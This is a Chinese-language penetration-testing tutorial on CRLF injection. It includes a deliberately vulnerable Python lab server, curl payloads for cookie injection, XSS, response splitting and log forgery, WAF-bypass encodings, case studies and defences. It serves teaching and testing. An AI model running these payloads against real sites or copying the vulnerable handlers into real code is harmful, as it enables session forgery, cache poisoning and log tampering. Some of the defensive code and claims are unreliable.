适合人群:中级渗透测试人员、安全研究员、Bug Bounty Hunter
前置知识:HTTP协议基础、Burp Suite基本操作、curl使用
一、前置准备
环境搭建
# 1. 安装靶场(DVWA + CRLF 测试模块)
docker run -d -p 8080:80 vulnerables/web-dvwa
# 2. 或者用本地 Python 快速搭建测试端点
cat > /tmp/crlf_test_server.py << 'PYEOF'
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
class CRLFTestHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed.query)
# 模拟存在 CRLF 漏洞的日志记录
user_agent = self.headers.get('User-Agent', '')
with open('/tmp/access.log', 'a') as f:
f.write(f"{self.client_address[0]} - {user_agent}\n")
# 模拟存在 CRLF 漏洞的重定向
if 'redirect' in params:
url = params['redirect'][0]
self.send_response(302)
self.send_header('Location', url) # 漏洞点:未过滤 \r\n
self.end_headers()
return
# 模拟存在 CRLF 漏洞的 Set-Cookie
if 'name' in params:
name = params['name'][0]
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.send_header('Set-Cookie', f'name={name}') # 漏洞点
self.end_headers()
self.wfile.write(b'OK')
return
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
self.wfile.write(b'CRLF Test Server Running')
def log_message(self, format, *args):
pass # 关闭默认日志
HTTPServer(('0.0.0.0', 8888), CRLFTestHandler).serve_forever()
PYEOF
python3 /tmp/crlf_test_server.py &
工具清单
| 工具 | 用途 | 安装 |
|---|---|---|
| Burp Suite Pro | 拦截/改包/Repeater | 官网下载 |
| cURL | 命令行测试 | apt install curl |
| Netcat | 原始HTTP请求 | apt install netcat-openbsd |
| CRLFsuite | 自动化CRLF扫描 | pip install crlfsuite |
# 安装 CRLFsuite 自动化扫描工具
pip3 install crlfsuite
二、核心原理
什么是 CRLF 注入?
CRLF = Carriage Return (\r) + Line Feed (\n),即 %0d%0a 或 \r\n。
HTTP协议使用 \r\n 作为行分隔符:
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 42\r\n
\r\n ← 空行 = 头体分隔符
<body>Hello</body>
漏洞本质:当攻击者将 \r\n 注入到 HTTP 响应头值中,可以:
- 终结当前头 → 伪造新的响应头
- 终结所有响应头 → 注入 HTTP 响应体(XSS)
- 分拆响应 → HTTP 响应拆分(缓存投毒)
入侵检测的视角
正常请求:
GET /?name=Alice HTTP/1.1
→ Set-Cookie: name=Alice
CRLF注入请求:
GET /?name=Alice%0d%0aSet-Cookie:%20admin%3dtrue HTTP/1.1
→ Set-Cookie: name=Alice
→ Set-Cookie: admin=true ← 注入的响应头!
三、实操步骤
3.1 基础检测
检测 CRLF 注入最直接的方法:在参数值中注入 %0d%0a 后跟一个唯一的响应头。
# 基础检测 Payload
curl -s -I "http://localhost:8888/?name=test%0d%0aX-Injected:%20true"
# 响应中如果看到 X-Injected: true → 存在漏洞
Burp Suite Repeater 检测流程:
1. 拦截请求,找到回显参数(如 redirect=、name=、url=)
2. 发送: GET /?redirect=http://target.com%0d%0aX-CRLF-Test:%20yes
3. 观察响应头中是否有 X-CRLF-Test: yes
4. 也可以检查响应体——如果注入的响应体出现,说明能拆分
3.2 Cookie 注入
# 注入多个 Cookie
curl -v "http://localhost:8888/?name=test%0d%0aSet-Cookie:%20session=hijacked"
# 注入 HttpOnly + Secure Cookie
curl -v "http://localhost:8888/?name=test%0d%0aSet-Cookie:%20admin_token=1%3b%20HttpOnly%3b%20Secure"
3.3 响应体注入 → 反射型 XSS
# 最关键:\r\n\r\n 后注入 HTML = XSS
curl "http://localhost:8888/?name=test%0d%0a%0d%0a<script>alert(document.cookie)</script>"
# URL编码后的版本(Burp中发送)
# GET /?name=test%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
原理:两个 \r\n 结束响应头区域,后续内容被浏览器解析为 HTML 响应体。
3.4 HTTP 响应拆分(Response Splitting)
响应拆分的威力远大于普通 XSS——它可以缓存投毒:
# 场景:反向代理缓存了攻击者的响应
# 攻击者构造:
GET /?redirect=http://target.com%0d%0a%0d%0a<html>malicious</html> HTTP/1.1
# 响应1(第一部分):
HTTP/1.1 302 Found
Location: http://target.com
# 响应2(第二部分,被缓存代理当成独立响应):
HTTP/1.1 200 OK
Content-Length: 28
Content-Type: text/html
<html>malicious</html>
当反向代理将"第二部分"缓存后,所有后续访问该 URL 的用户都会看到恶意页面。
3.5 日志投毒(Log Injection)
# 通过 User-Agent 注入 CRLF
curl -A "hacker%0d%0a[2026-06-30]%20INFO%20-%20Admin%20login%20successful" \
"http://localhost:8888/"
# 查看被污染的日志
cat /tmp/access.log
# 输出:127.0.0.1 - hacker
# 2026-06-30 INFO - Admin login successful ← 伪造的日志条目!
日志投毒常用于:
- 掩盖攻击痕迹:插入假日志掩盖真实攻击记录
- Soc 混淆:插入大量假告警淹没真实告警
- 日志注入 RCE:某些日志分析系统(如 Log4j)会解析日志内容
四、绕过技术
4.1 WAF 编码绕过
# 双URL编码(WAF只解一层)
%250d%250a → WAF解码为 %0d%0a → 服务器解码为 \r\n
# UTF-16 编码
%u000d%u000a
# Unicode 变体
%c4%8d%c4%8a # 某些畸形UTF-8编码
# 大小写混合
%0D%0a 或 %0d%0A
4.2 参数位置变体
| 注入点 | 示例 | 成功率 |
|---|---|---|
| URL查询参数 | ?url=xxx%0d%0a | 高 |
| POST体 | name=xxx%0d%0a | 高 |
| Cookie值 | Cookie: lang=xxx%0d%0a | 中 |
| User-Agent | 日志注入专用 | 高 |
| Referer | Referer: xxx%0d%0a | 中 |
| 任意自定义头 | X-Forwarded-For: xxx%0d%0a | 低(需框架回显) |
4.3 协议降级绕过
某些 WAF 只检测 HTTP/1.1,不检测 HTTP/2:
# HTTP/2 下的 CRLF 注入(某些实现中)
:h2c # HTTP/2 Cleartext 降级
# 在 h2c Upgrade 请求中注入 CRLF
# GET / HTTP/1.1
# Upgrade: h2c
# HTTP2-Settings: xxx%0d%0aX-Injected:%20yes
五、实战案例复盘
案例1:某电商平台Cookie注入(Bug bounty实战)
发现过程:
- 目标站
shop.target.com有一个语言切换功能 - 参数
lang=zh-cn被写入Set-Cookie头 - 测试
lang=zh-cn%0d%0aSet-Cookie:admin=1→ 成功注入
利用链:
1. 注入 admin=1 Cookie
2. 访问后台 /admin 路径
3. 发现后台检查 Cookie 中的 role 字段
4. 注入 role=admin → 越权访问管理面板
5. 在管理面板中找到 Store SQL 导出功能 → 25万用户数据泄露
修复:对 lang 参数做 \r\n 过滤 + 输出编码
案例2:CDN缓存投毒(真实案例脱敏)
1. 某 CDN 边缘节点缓存了 302 重定向响应
2. 攻击者构造 URL:
https://cdn.target.com/redirect?url=/safe%0d%0a%0d%0a<script>malicious</script>
3. CDN 缓存了拆分后的"第二部分"(XSS页面)
4. 所有用户访问该 URL 都返回 XSS 页面
5. 影响:12小时内,约 3 万用户受感染
六、防御建议
6.1 开发者防御
# ❌ 脆弱代码
response.set_header('Location', user_input) # 直接拼接
# ✅ 安全代码(Python Flask 示例)
from werkzeug.utils import escape
import re
def safe_redirect(url):
# 1. 拒绝包含 \r \n 的输入
if re.search(r'[\r\n]', url):
abort(400, 'Invalid characters')
# 2. 使用白名单 URL 验证
allowed_domains = ['target.com', 'cdn.target.com']
parsed = urllib.parse.urlparse(url)
if parsed.netloc not in allowed_domains:
abort(400, 'Domain not allowed')
# 3. 使用框架提供的安全 API
return redirect(url) # Flask redirect 自动过滤 CRLF
6.2 WAF/IPS 规则
# Nginx 指令:拒绝包含 \r\n 的请求
if ($request_uri ~* "[\r\n]") {
return 400;
}
# 或更精确:只拒绝响应头值中的 \r\n
proxy_hide_header Location; # 不信任上游 Location
6.3 通用检查清单
| 层级 | 措施 | 优先级 |
|---|---|---|
| 输入 | 拒绝包含 \r(0x0d) 和 \n(0x0a) 的输入 | 🔴 必做 |
| 输出 | 所有响应头值做 URL 编码或 strip | 🔴 必做 |
| 框架 | 使用框架安全API(不手动拼接响应头) | 🟡 推荐 |
| CDN | 配置响应头白名单过滤 | 🟡 推荐 |
| 监控 | 检测异常响应头(多个 Set-Cookie / 响应体提前出现) | 🟢 可选 |
七、常见陷阱
陷阱1:%0d%0a 被 WAF 拦截
不要只试 %0d%0a。换 %0a%0d、单 %0a、\t%0a、%00%0d%0a
# 不成功的变形
%0a # 某些实现只认 \n
%0d # 某些实现只认 \r
%0a%0d # 反序
%00%0d%0a # 空字节前缀绕过某些正则
陷阱2:认为只有响应头才受影响
日志注入同样危险——影响 SIEM 系统、审计链路,甚至能触发 Log4j 等 RCE。
陷阱3:忽略 HTTP/2 的 CRLF
HTTP/2 使用二进制帧,理论上不受 CRLF 影响。但协议降级(h2c upgrade)和反向代理转换场景依然存在。
陷阱4:前端过滤不可信
// ❌ 前端 JS 过滤,等于没过滤
function sanitize(input) {
return input.replace(/\r\n/g, ''); // 客户端可绕过
}
八、总结
速查表
| 项目 | 内容 |
|---|---|
| 检测 Payload | %0d%0aX-Injected:%20true |
| Cookie 注入 | %0d%0aSet-Cookie:%20session=injected |
| XSS 注入 | %0d%0a%0d%0a<script>alert(1)</script> |
| 响应拆分 | 双重 HTTP 响应 → 缓存投毒 |
| 日志投毒 | User-Agent 注入伪造日志 |
| 编码绕过 | 双编码 %250d%250a / Unicode 变体 |
| 关键工具 | CRLFsuite、Burp Repeater、Netcat |
| 防御命令 | filter_var($input, FILTER_SANITIZE_URL) |
| WAF 规则 | Nginx: if ($request_uri ~* "[\r\n]") { return 400; } |
一句话总结
CRLF 注入 = 通过
\r\n操纵 HTTP 协议结构。一个字符(\n)就能从"Set-Cookie"变成"任意响应体注入"。
延伸阅读
- OWASP: CRLF Injection — https://owasp.org/www-community/attacks/CRLF_Injection
- HTTP Response Splitting — https://portswigger.net/web-security/response-splitting
- CRLFsuite 工具 — https://github.com/Nefcore/CRLFsuite